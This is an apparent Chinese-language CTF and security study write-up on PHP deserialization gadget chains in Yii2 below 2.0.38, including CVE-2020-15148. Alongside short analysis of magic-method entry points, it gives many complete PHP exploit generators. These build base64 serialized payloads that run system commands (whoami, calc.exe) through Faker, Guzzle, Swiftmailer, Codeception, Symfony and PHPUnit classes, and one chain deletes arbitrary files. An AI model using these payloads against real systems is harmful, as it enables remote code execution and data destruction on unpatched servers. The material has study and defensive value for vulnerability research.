前言
最近复现比赛的时候碰到了挺多和 Yii2 相关的反序列化链子的题目,学习的过程中跟着已有的链子进行了分析,同时跟着思路自己也尝试拓宽了一下链子的数量,在这里正好对此类链子做一个小小的总结。
漏洞范围
Yii2 < 2.0.38
环境部署
Apache version:2.4.39
PHP version:php7.3.4nts
这里选择 yii-basic-app-2.0.37
的源码,源码链接
使用 phpstudy
来搭建,将源码解压在 web 目录后访问 requirements.php
文件,修改 config/web.php
的源码,将 cookieValidationKey
的值改为 demo
在 controllers
目录下新建一个文件 DemoController.php
,添加一个反序列化的入口代码
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class DemoController extends Controller
{
public function actionDemo()
{
$name = Yii::$app->request->get('input');
return unserialize(base64_decode($name));
}
}
访问 web/index.php
,出现如下页面则环境部署成功
POP链-1
漏洞分析
CVE-2020-15148 的反序列化起点在 vendor/yiisoft/yii2/db/BatchQueryResult.php
中
这里 __destruct()
方法会调用 reset()
方法,而 reset()
方法中的参数 $this->_dataReader
是可控的,进一步调用该参数的 close()
方法,漏洞点就在于此可以作为跳板来利用 __call()
方法执行反序列化操作
全局搜索 __call()
方法,跟进 vendor/fzaninotto/faker/src/Faker/Generator.php
发现 __call()
方法调用了 format()
方法,这里的参数 $method
和 $attributes
都是不可控的,在 format()
方法的内部使用了回调函数 call_user_func_array()
来调用 getFormatter()
方法
继续跟进 getFormatter()
方法,这里的 $this->formatters
是可控的,所以 getFormatter()
方法的返回值也是可控的,结合上一步的分析,回调函数 call_user_func_array()
的第一个参数是可控的,第二个参数为空,此时可以利用第一个参数来调用一个可以实现 RCE 的方法,并且这个方法的参数要是类的成员变量、要是可控的
这里利用正则表达式来 function_you_want\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)
寻找可用的代码执行函数,发现 call_user_func
是可用的,vendor/yiisoft/yii2/rest/CreateAction.php
和 vendor/yiisoft/yii2/rest/IndexAction.php
中的 run
方法都可以满足 RCE 的条件
POC链的利用过程为
EXP
exp1
<?php
namespace yii\rest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker {
use yii\rest\CreateAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
exp2
<?php
namespace yii\rest {
class IndexAction {
public $id;
public $checkAccess;
public function __construct() {
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new Generator();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
修复方法
POP链-2
漏洞分析
前面已经分析了 vendor/yiisoft/yii2/db/BatchQueryResult.php
是漏洞利用的起点,由于通过调用 reset()
方法进一步调用 close
方法,所以直接搜索 close()
方法来尝试触发 __call()
方法
逐个跟踪后,发现 vendor/guzzlehttp/psr7/src/FnStream.php
中的 close()
方法会触发 call_user_func()
回调函数,且参数 $this->_fn_close
可控
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
上面构造的 POC 链已经能通过回调函数 call_user_func()
执行 phpinfo
了,以此为跳板继续寻找一个可以执行命令的类来进行代码执行,利用正则 eval\(\$this->([a-zA-Z0-9]+)
匹配到 eval()
命令可以利用
跟进匹配到的两个 eval()
方法,发现 $this->classCode
是可控的,这里构造 exp 时需要绕过 __wakeup()
方法
POC链的利用过程为
EXP
<?php
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode = "system('whoami');";
private $mockName = "extrader";
}
}
namespace GuzzleHttp\Psr7 {
use PHPUnit\Framework\MockObject\MockTrait;
class FnStream {
var $_fn_close;
public function __construct() {
$this->_fn_close = array(new MockTrait(), 'generate');
}
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(str_replace('O:24:"GuzzleHttp\Psr7\FnStream":1:','O:24:"GuzzleHttp\Psr7\FnStream":2:',serialize(new BatchQueryResult())));
}
?>
POP链-3
漏洞分析
继续分析前面搜索的 close()
方法,跟进 vendor/yiisoft/yii2/web/DbSession.php
中的 close()
方法,发现其先调用 getIsActive()
方法进行一个判断
跟进 getIsActive()
方法,这里对会话的状态做了一个判断,当 yii-debug
和 gii
这两个默认扩展都存在(不一定需要开启)时就会返回 true
;否则返回 false
当 true
条件满足时进入 if 循环内,进一步调用 composeFields()
方法,再调用 call_user_func()
方法,但参数无法控制,传入一个对象为参数的可用函数也不太多,这里采用调用类中的公共方法来实现 RCE,赋值为 [(new demo), “aaa”]这样的一个数组
结合上面的链子,这里采用 vendor/yiisoft/yii2/rest/CreateAction.php
和 vendor/yiisoft/yii2/rest/IndexAction.php
中的 run
方法,均可实现 RCE
POC链的利用过程为
EXP
exp1
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace yii\web {
use yii\rest\IndexAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback=[(new IndexAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
exp2
<?php
namespace yii\rest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace yii\web {
use yii\rest\CreateAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback=[(new CreateAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
POP链-4
漏洞分析
在更新后的版本中,BatchQueryResult
类的反序列化已经被修复了,但是最新的 patch 只是用在了 BatchQueryResult
类中,尝试全局搜索 function __destruct()|__wakeup()
来挖掘新的链子
逐个分析查找到的可用类,跟进 vendor/codeception/codeception/ext/RunProcess.php
,这里先调用 stopProcess()
方法,接着调用 isRunning()
方法进行判断,但是这个方法不在类中,会触发 __call()
方法,并且这里的参数 $this->processes
是可控的,因此可以找一个 __call()
方法来,这里直接利用前面构造 POP链-1
的后半段来拼接一个新的 exp
POC链的利用过程为
EXP
exp1
<?php
namespace yii\rest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker {
use yii\rest\CreateAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\Extension {
use Faker\Generator;
class RunProcess {
private $processes;
public function __construct() {
$this->processes = [new Generator()];
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
?>
exp2
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension {
use Faker\Generator;
class RunProcess {
private $processes;
public function __construct() {
$this->processes = [new Generator()];
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
?>
POP链-5
漏洞分析
继续分析上面查找的 function __destruct()|__wakeup()
跟进 vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
,这里 __destruct()
方法调用了 clearAll()
方法,跟进去发现进一步调用了 clearKey()
方法,继续跟进,发现会调用 unlink()
方法,并且这里的 $this->path
是可控的,那么就可以寻找可以利用的 __toString()
魔术方法来进行后续的 RCE 操作
全局搜索一下 __toString()
方法:function __toString\(\)
这里给出几个触发点
\GuzzleHttp\Psr7/FnStream::__toString -> call_user_func 可以调用命令执行
\Symfony/string/LazyString::__toString -> value 可以控制该值从而调用 run 方法进行 RCE
\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Version::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render 可以触发__call方法
\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render 可以触发__call方法
......
POC链的利用过程为
EXP
这里随便用几个触发点构造 exp,剩下的可以自己构造试试
exp1
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags {
use Faker\Generator;
class Deprecated {
protected $description;
public function __construct() {
$this->description = new Generator();
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys;
public function __construct() {
$this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
$this->path = new Deprecated();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
exp2
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['saveXML'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Util {
use Faker\Generator;
class XmlBuilder {
protected $__dom__;
public function __construct() {
$this->__dom__ = new Generator();
}
}
}
namespace {
use Codeception\Util\XmlBuilder;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys;
public function __construct() {
$this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
$this->path = new XmlBuilder();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
exp3
<?php
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode = "system('calc.exe');";
private $mockName = "extrader";
}
}
namespace GuzzleHttp\Psr7 {
use PHPUnit\Framework\MockObject\MockTrait;
class FnStream {
var $_fn___toString;
public function __construct() {
$this->_fn___toString = array(new MockTrait(), 'generate');
}
}
}
namespace {
use GuzzleHttp\Psr7\FnStream;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys;
public function __construct() {
$this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
$this->path = new FnStream();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
POP链-5
漏洞分析
继续分析前面搜索的 __destruct()
方法入口,跟进 vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
,这里 __destruct
方法调用了 file_exists()
方法,而 file_exists
的参数通用是需要 String 类型,所以这里如果能够满足后面的 getPath()
方法可控即可继续用上面的 __toString()
的方式来触发 RCE 了
跟进 getPath()
方法,很明显这里的 $this->path
是可控的,可以构造出任意文件删除和 RCE 的 exp 了
POC链的利用过程为
EXP
exp1
<?php
namespace {
class Swift_ByteStream_FileByteStream {
private $path;
public function __construct() {
$this->path = '/var/www/html/flag';
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
}
echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));
}
?>
exp2
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess = "system";
$this->id = "calc.exe";
}
}
}
namespace Symfony\Component\String {
use yii\rest\IndexAction;
class LazyString {
private $value;
public function __construct() {
$this->value = [new IndexAction,"run"];
}
}
}
namespace {
use Symfony\Component\String\LazyString;
class Swift_ByteStream_FileByteStream {
private $path;
public function __construct() {
$this->path = new LazyString();
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
}
echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));
}
?>
POP链-6
漏洞分析
紧接着上面的思路,继续跟进另一条链子 vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php
,这里 __destruct()
方法调用了 stop()
方法,继续跟进发现 $this->eventDispatcher
可控,故可以继续利用上面已知的 __call()
方法来进行后续操作达到 RCE
POC链的利用过程为
EXP
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess = "system";
$this->id = "calc.exe";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['createTransportChangeEvent'] = [new IndexAction,"run"];
}
}
}
namespace {
use Faker\Generator;
abstract class Swift_Transport_AbstractSmtpTransport {
}
class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport {
protected $started;
protected $eventDispatcher;
public function __construct() {
$this->started = True;
$this->eventDispatcher = new Generator();
}
}
echo (base64_encode(serialize(new Swift_Transport_SendmailTransport())));
}
?>
POP链-7
漏洞分析
前面查询的结果中有一个点的 __wakeup()
方法是可以利用的,跟一下试试
跟进 vendor/symfony/string/UnicodeString.php
,这里调用了 normalizer_is_normalized()
方法,并且 $this->string
是可控的,所以可以尝试找一个 __toString()
魔术方法来进行后续 RCE 操作,这里直接利用上一条链子找到的那些 __toString()
魔术方法即可,当然也可以用这个 __wakeup()
方法来触发之前的 __call()
方法的 POP 链
POC链的利用过程为
EXP
exp1
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Symfony\Component\String {
use yii\rest\IndexAction;
class LazyString {
private $value;
public function __construct()
{
$this->value = [new IndexAction,"run"];
}
}
class UnicodeString{
protected $string;
public function __construct() {
$this->string = new LazyString();
}
}
echo base64_encode((serialize(new UnicodeString())));
}
?>
exp2
<?php
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess = "system";
$this->id = "calc.exe";
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['saveXML'] = [new IndexAction,"run"];
}
}
}
namespace Codeception\Util {
use Faker\Generator;
class XmlBuilder {
protected $__dom__;
public function __construct() {
$this->__dom__ = new Generator();
}
}
}
namespace Symfony\Component\String {
use Codeception\Util\XmlBuilder;
class UnicodeString {
protected $string;
public function __construct() {
$this->string = new XmlBuilder();
}
}
echo base64_encode((serialize(new UnicodeString())));
}
?>
后言
文中链子的触发方式在 __call()
和 __toString()
有很多,这里就没用把构造出来的链子都贴出来;各位师傅们有兴趣的话可以自己尝试构造一下,文中有不对的地方还请各位师傅们指正,欢迎大家一起交流学习吖!